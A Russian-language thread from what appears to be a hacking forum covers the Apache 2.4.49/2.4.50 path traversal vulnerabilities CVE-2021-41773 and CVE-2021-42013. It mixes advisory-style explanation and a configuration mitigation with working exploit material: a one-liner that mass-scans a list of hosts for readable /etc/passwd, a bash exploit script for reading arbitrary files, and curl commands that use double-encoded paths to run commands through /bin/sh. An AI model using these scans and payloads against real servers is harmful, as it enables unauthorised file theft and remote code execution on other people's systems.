• XSS.stack #1 – первый литературный журнал от юзеров форума

Уязвимость в http-сервере Apache 2.4.49, позволяющая получить файлы вне корня сайта

INC.

REVERSE SIDE OF THE MEDAL
Эксперт
Регистрация
02.02.2008
Сообщения
3 950
Реакции
1 872
В экстренном порядке сформировано обновление http-сервера Apache 2.4.50, в котором устранена уже активно эксплуатируемая 0-day уязвимость (CVE-2021-41773), позволяющая получить доступ к файлам из областей вне корневого каталога сайта. При помощи уязвимости можно загрузить произвольные системные файлы и исходные тексты web-скриптов, доступные для чтения пользователю, под которым запущен http-сервер. Разработчики были уведомлены о проблеме ещё 17 сентября, но смогли выпустить обновление только сегодня, после того как в сети были зафиксированы случаи применения уязвимости для атаки на сайты.

Опасность уязвимости сглаживает то, что проблема проявляется только в недавно выпущенной версии 2.4.49 и не затрагивает все более ранние выпуски. В стабильных ветках консервативных серверных дистрибутивов выпуск 2.4.49 ещё не использовался (Debian, RHEL, Ubuntu, SUSE), но проблема затронула непрерывно обновляемые дистрибутивы, такие как Fedora, Arch Linux и Gentoo, а также порты FreeBSD.

Уязвимость вызвана ошибкой, внесённой в ходе переработки кода для нормализации путей в URI, из-за которой закодированный при помощи последовательности "%2e" символ точки в пути не нормализировался, если ему предшествовала другая точка. Таким образом, оказалась возможной подстановка неочищенных символов "../" в результирующий путь через указание в запросе последовательности ".%2e/". Например, запрос вида "https://example.com/cgi-bin/../../../../etc/passwd" или "https://example.com/cgi-bin/../../../../etc/hosts" позволял получить содержимое файла "/etc/passwd".

Проблема не проявляется, если доступ к каталогам явно запрещён при помощи настройки "require all denied". Например для частичной защиты можно указать в файле конфигурации:

Код:
   <Directory />
      require all denied
   </Directory>

В версии Apache httpd 2.4.50 также устранена ещё одна уязвимость (CVE-2021-41524), затрагивающая модуль с реализацией протокола HTTP/2. Уязвимость позволяла через отправку специально оформленного запроса инициировать разыменование нулевого указателя и вызвать крах процесса. Данная уявзимость также проявляется только в версии 2.4.49. В качестве обходного пути защиты можно отключить поддержку протокола HTTP/2.
 
POC:
cat targets.txt | while read host do ; do curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "$host \033[0;31mVulnerable\n" || echo "$host \033[0;32mNot Vulnerable\n";done
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Код:
#!/bin/bash
if [ $# -eq 0 ]
  then
    echo "USAGE: ./exploit.sh [TARGET] [FILE_PATH]"
    exit 1
fi

if [ $(curl -i -s -k -X GET ''$1'/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/'$2'' | grep HTTP | awk '{print $2}') != "200" ]
then
    echo "Not vuln!"
    exit 1
fi

echo -e "OUTPUT: "
curl -s -k -X GET ''$1'/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/'$2''
 
Найден новый вектор атаки на http-сервер Apache, который остался неисправленным в обновлении 2.4.50 и позволяет получить доступ к файлам из областей вне корневого каталога сайта. Кроме того, исследователями найден способ, позволяющий при наличии определённых нестандартных настроек не только прочитать системные файлы, но и удалённо выполнить свой код на сервере. Проблема проявляется только в выпусках 2.4.49 и 2.4.50, более ранние версии уязвимости не подвержены. Для устранения нового варианта уязвимости оперативно сформирован выпуск Apache httpd 2.4.51.

По своей сути новая проблема (CVE-2021-42013) полностью аналогична изначальной уязвимости (CVE-2021-41773) в 2.4.49, разница лишь в иной кодировке символов "..". В частности, в выпуске 2.4.50 была заблокирована возможность использования последовательности "%2e" для кодирования точки, но упущена возможность двойного кодирования - при указании последовательности "%%32%65" сервер декодировал её в "%2e", а затем в ".", т.е. символы "../" для перехода в предыдущий каталог можно было закодировать как ".%%32%65/".

Что касается эксплуатации уязвимости через выполнение кода, то подобное возможно при включении mod_cgi и использовании базового пути, в котором разрешено выполнение CGI-скриптов (например, если включена директива ScriptAlias или указан флаг ExecCGI в директиве Options). Обязательным требованием для успешного проведения атаки также является явное предоставление в настройках Apache доступа к каталогам с исполняемыми файлами, таким как /bin, или доступа к корню ФС "/". Так как обычно такой доступ не предоставляется, то атака по выполнению кода малоприменима к реальным системам.

При этом остаётся актуальной атака по получению содержимого произвольных системных файлов и исходных текстов web-скриптов, доступных для чтения пользователю, под которым запущен http-сервер. Для проведения такой атаки достаточно наличия на сайте каталога, настроенного при помощи директив "Alias" или "ScriptAlias" (DocumentRoot не достаточно), такого как "cgi-bin".

Пример эксплоита, позволяющего выполнить утилиту "id" на сервере:

Код:
   curl 'http://192.168.0.1/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type: text/plain; echo; id'

   uid=1(daemon) gid=1(daemon) groups=1(daemon)

Пример эксплоитов, позволяющего вывести содержимое /etc/passwd и одного из web-скриптов (для отдачи кода скриптов в качестве базового должен быть указан определённый через директиву "Alias" каталог, для которого не включено исполнение скриптов):

Код:
   curl 'http://192.168.0.1/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'
   curl 'http://192.168.0.1/aliaseddir/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/usr/local/apache2/cgi-bin/test.cgi'

Проблема затрагивает в основном непрерывно обновляемые дистрибутивы, такие как Fedora, Arch Linux и Gentoo, а также порты FreeBSD. Пакеты в стабильных ветках консервативных серверных дистрибутивов Debian, RHEL, Ubuntu и SUSE уязвимости не подвержены. Проблема не проявляется, если доступ к каталогам явно запрещён при помощи настройки "require all denied".
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх